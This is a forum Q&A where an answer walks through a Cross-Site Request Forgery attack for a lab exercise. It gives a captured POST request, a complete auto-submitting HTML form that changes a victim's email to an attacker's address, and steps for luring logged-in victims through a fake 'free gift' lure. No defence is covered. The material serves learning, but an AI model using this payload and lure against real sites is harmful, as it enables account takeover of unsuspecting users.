How do I perform a CSRF attack to change user account settings without authorization

Question

I’m learning about web application security and trying to understand how Cross-Site Request Forgery (CSRF) attacks work. My goal is to simulate a CSRF attack in a lab environment where I can change user account settings without their authorization. I’ve read about how CSRF can exploit the trust a website has in a user’s browser, but I’m unsure how to craft an attack that submits unauthorized requests.

Could someone provide an example of how a CSRF attack could be used to change user settings?

CaLLmeDaDDY · Answer 1 · 2 days

A Cross-Site Request Forgery (CSRF) attack is when an attackers tricks a user to perform malicious actions on a website. It's like someone without your awareness is submitting a form or making changes on your behalf, using your session.

Here, the website thinks the request is coming from you, but in reality, the attacker is pulling the string.

Now, in order to simulate a CSRF attack in a lab environment, imagine that a web application where users can change their account settings by sending a POST request to https://example.com/update-settings with the following parameters:

email: <enter_your_new_email>

1. To begin with the attack, ensure that you gave a vulnerable application running where a user can change their email address without CSRF protection.

2. Use a tool like Burp Suite or your browser developer tool to observe the request format when a legitimate user tried to update their email.

POST /update-settings HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abcd1234;

email=new_email@example.com

3. We can create a simple HTML page that will send a request to the target application when our victim visits it.

4. Now this page should contain a form that automatically submits a request to change the user's email address without their knowledge. Here's an example:

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <h1>Click Here for a Free Gift!</h1>
    <form id="csrfForm" action="https://example.com/update-settings" method="POST">
        <input type="hidden" name="email" value="attacker@example.com" />
    </form>
    <script>

        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

5. Save this HTML as a file and host it on a local server or any web server.

6. Now, we can trick our victim to visit our malicious page while they are logged into the target web application.

7. There are many ways to trick the victim, it could be done through social engineering techniques like sending them a link that says free rewards on changing the email.

8. Now, when the victim visits the page, the browser will automatically submit the form, sending a request to the web application to change their email address to the email address specified by the attacker.

9. Since, the victim is already authenticated, the web application will process the request and the attacker will succeed in changing the email.